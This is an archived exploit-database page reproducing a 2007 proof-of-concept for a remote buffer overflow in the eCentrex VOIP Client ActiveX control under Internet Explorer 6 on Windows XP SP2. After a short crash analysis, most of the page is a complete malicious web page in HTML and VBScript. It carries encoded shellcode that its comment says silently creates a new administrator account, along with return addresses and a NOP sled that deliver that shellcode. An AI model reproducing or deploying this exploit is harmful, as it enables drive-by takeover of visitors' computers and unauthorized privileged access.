ecentrex-overflow.txt

🗓️ 21 Aug 2007 00:00:00Reported by rgodType

packetstorm🔗 packetstormsecurity.com👁 35 Views

eCentrex VOIP Client module remote buffer overflow exploi

`<!--  
17/08/2007 04.41.37  
eCentrex VOIP Client module (uacomx.ocx 2.0.1) remote buffer overflow  
exploit (ie6 / xp sp2)  
  
passing more than 164 chars to ReInit method in Username argument  
EAX 41414131  
ECX 0013D444 ASCII "AAAAAAAA...  
EDX 00000000  
EBX 00000000  
ESP 0013D3A0  
EBP 0013D458 ASCII "AAAAAAAA...  
ESI 41414131  
EDI 00000001  
EIP 04C4C945 euacom.04C4C945  
  
...  
04C4C945 8B0E MOV ECX,DWORD PTR DS:[ESI]  
04C4C947 8B01 MOV EAX,DWORD PTR DS:[ECX]  
04C4C949 FF50 10 CALL DWORD PTR DS:[EAX+10]  
  
Access violation when reading 41414131  
also seh is overwritten  
  
object safety report  
RegKey Safe for Script: False  
RegKey Safe for Init: False  
Implements IObjectSafety: True  
IDisp Safe: Safe for untrusted: caller,data  
IPStorage Safe: Safe for untrusted: caller,data  
KillBitSet: False  
  
this was the codebase:  
http://202.73.10.134/e800/euacom/uacomx.cab  
  
vendor:  
http://www.e800phone.com/abtus.htm  
  
rgod.  
site: http://retrogod.altervista.org  
-->  
<html>  
<object classid='clsid:BD80D375-5439-4D80-B128-DDA5FDC3AE6C' id='IUAComFormX' /></object>  
<script language='vbscript'>  
'metasploit one, 456 bytes - cmd /c net user su tzu /add & net localgroup Administrators su /add  
scode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49%37%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%44%58%50%30%41%30%41%6b%41%41%54%42%41%32%41%41%32%42%41%30%42%41%58%38%41%42%50%75%68%69%39%6c%38%68%31%54%43%30%47%70%57%70%4c%4b%30%45%77%4c%6e%6b%31%6c%47%75%51%68%43%31%48%6f%6c%4b%52%6f%75%48%4c%4b%63%6f%31%30%53%31%38%6b%71%59%6c%4b%36%54%6c%4b%47%71%48%6e%64%71%4f%30%4d%49%6c%6c%4e%64%4b%70%30%74%76%67%4a%61%39%5a%76%6d%55%51%6b%72%4a%4b%68%74%47%4b%70%54%35%74%55%54%61%65%6b%55%6c%4b%41%4f%77%54%34%41%48%6b%71%76%6e%6b%46%6c%62%6b%6e%6b%33%6f%77%6c%54%41%68%6b%6e%6b%57%6c%6c%4b%46%61%48%6b%4f%79%61%4c%71%34%56%64%48%43%54%71%4b%70%31%74%4c%4b%37%30%46%50%4f%75%4f%30%41%68%46%6c%6e%6b%43%70%46%6c%6c%4b%30%70%35%4c%6e%4d%4e%6b%50%68%35%58%68%6b%56%69%6c%4b%4b%30%6e%50%57%70%53%30%73%30%4e%6b%62%48%67%4c%43%6f%50%31%4a%56%51%70%36%36%6d%59%58%78%6d%53%49%50%33%4b%56%30%42%48%41%6e%58%58%6d%32%70%73%41%78%6f%68%69%6e%6f%7a%54%4e%42%77%49%6f%38%67%33%53%30%6d%75%34%41%30%66%4f%70%63%65%70%52%4e%43%55%31%64%31%30%74%35%33%43%63%55%51%62%31%30%51%63%41%65%47%50%32%54%30%7a%42%55%61%30%36%4f%30%61%43%54%71%74%35%70%57%56%65%70%70%6e%61%75%52%54%45%70%32%4c%70%6f%70%63%73%51%72%4c%32%47%54%32%32%4f%42%55%30%70%55%70%71%51%65%34%32%4d%62%49%50%6e%42%49%74%33%62%54%43%42%30%61%42%54%70%6f%50%72%41%63%67%50%51%63%34%35%77%50%66%4f%32%41%61%74%71%74%35%50%44")  
  
'try this kind of command: msfpescan -d ./tools/iexplore -x "\x00\x13\x41\x00"  
esi = unescape("%65%1a%2f%7e") '0x7e2f1a65 -> 0x00134200 - jumpin' in the middle of pad...  
  
l_pad = Replace( Space(2555), " ", unescape("%1b%27%3f%7e") )' 0x7e3f272b -> 0x00137000 - jumping to ultranop, worked 100%, you really need javashit spray every time?  
  
l_nop = string(12222,unescape("%90"))  
  
UserName = String(164,"A") + esi + l_pad + l_nop + scode  
Password = ""  
ProxyServerIP = ""  
ProxyIP = ""  
Project = ""  
PortNo = 1  
IUAComFormX.ReInit UserName ,Password ,ProxyServerIP ,ProxyIP ,Project ,PortNo  
</script>  
</html>  
  
  
`

21 Aug 2007 00:00Current

7.4High risk

Vulners AI Score7.4